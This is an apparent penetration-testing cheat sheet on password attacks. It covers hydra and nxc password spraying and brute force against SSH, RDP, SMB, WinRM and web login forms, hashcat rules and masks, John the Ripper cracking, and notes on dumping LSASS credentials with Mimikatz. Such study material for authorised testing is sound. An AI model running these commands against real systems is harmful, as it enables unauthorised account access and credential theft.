Skip to main content

Password Attacks

Password Spraying

ScenarioCommand
SSHhydra -L users.txt -p $PASSWORD ssh://$TARGET
RDPhydra -L users.txt -p $PASSWORD rdp://$TARGET
SMBnxc smb $TARGET -u users.txt -p $PASSWORD --no-bruteforce
WinRMnxc winrm $TARGET -u users.txt -p $PASSWORD --no-bruteforce

Reference: https://www.hackthebox.com/files/cheatsheet-using-crackmapexec.pdf


Mutating Wordlists (Hashcat Rules)

When the target has a password policy (e.g., uppercase, special character, number), mutate your wordlist to match.

Rule Syntax

FunctionDescriptionExample
$XAppend character X$1 appends "1"
^XPrepend character X^3 prepends "3"
cCapitalize first letter

Applying Rules

Preview the mutations without cracking:

hashcat -r demo.rule --stdout wordlist.txt

Same line = consecutive rules on one password. Separate lines = separate mutations (multiplies the wordlist):

# demo1.rule (both applied to each password)
$1 c
# Result: Password1, Iloveyou1, Princess1

# demo2.rule (each applied separately)
$1
c
# Result: password1, Password, iloveyou1, Iloveyou...

Example: Meeting a Password Policy

For a policy requiring uppercase + special char + number:

$1 c $!
$2 c $!
$1 $2 $3 c $!

Cracking with Rules

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt -r rules.rule --force

Built-in Hashcat Rules

Located in /usr/share/hashcat/rules/:

  • best64.rule — most commonly effective
  • rockyou-30000.rule — comprehensive
  • d3ad0ne.rule — large rule set

Hashcat Attack Modes

-aModeUse
0Straight (wordlist)Default; combine with -r rules
1CombinatorJoins words from two lists
3Brute-force / maskKnown password structure
6Hybrid wordlist + maskWord followed by a pattern

Mask attack for a known pattern (e.g. Companyname + 4 digits): charsets are ?u upper, ?l lower, ?d digit, ?s special, ?a all:

hashcat -m 0 -a 3 hashes.txt '?u?l?l?l?l?l?l?l?d?d?d?d'
hashcat -m 0 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt '?d?d?d?d' # word + 4 digits

Cracking Methodology

  1. Extract hashes from the target
  2. Identify hash type using hash-identifier or hashid (hashid -m <hash> prints the matching Hashcat mode directly)
  3. Format hashes for your cracking tool (use john's *2john scripts if needed)
  4. Calculate cracking time to choose the right approach
  5. Attack the hash
warning

hash-identifier can't always distinguish between MD2, MD4, and MD5. Double-check with other tools and context about where the hash came from.

Common Hash Types

SourceHashcat ModeTool
NTLM-m 1000hashcat
NetNTLMv2-m 5600hashcat
Kerberoast (TGS)-m 13100hashcat
AS-REP-m 18200hashcat
SHA-512 (Linux)--format=sha512cryptjohn

JtR Format Conversion Scripts

The John the Ripper suite includes transformation scripts for various file formats:

  • ssh2john — SSH private keys
  • keepass2john — KeePass databases
  • zip2john — ZIP files

These scripts can also format hashes for Hashcat.


Hydra

SSH brute force:

hydra -t 1 -l $USER -P /usr/share/wordlists/rockyou.txt -s 22 ssh://$TARGET

HTTP POST login form — the most common web case. Supply the path, the POST body with ^USER^/^PASS^ placeholders, and a failure string:

hydra -l admin -P rockyou.txt $TARGET http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

Add -f to stop at the first valid pair and -V to see each attempt. For HTTP Basic auth use http-get; for a GET-based form use http-get-form.

Cracking with John the Ripper

Basic wordlist crack and viewing results:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt # display already-cracked passwords
john hash.txt --format=NT --wordlist=rockyou.txt

John auto-detects most formats; force one with --format= when it guesses wrong.


Windows Stored Credentials

LSASS caches NTLM hashes and other credentials. It runs as SYSTEM, so you need Administrator or higher privileges plus SeDebugPrivilege to extract credentials.

You can elevate to SYSTEM using PsExec or Mimikatz's token elevation function (requires SeImpersonatePrivilege, which all local admins have by default).

Credentials are stored when:

  • Users log on interactively
  • Services run with user accounts
  • Scheduled tasks use stored credentials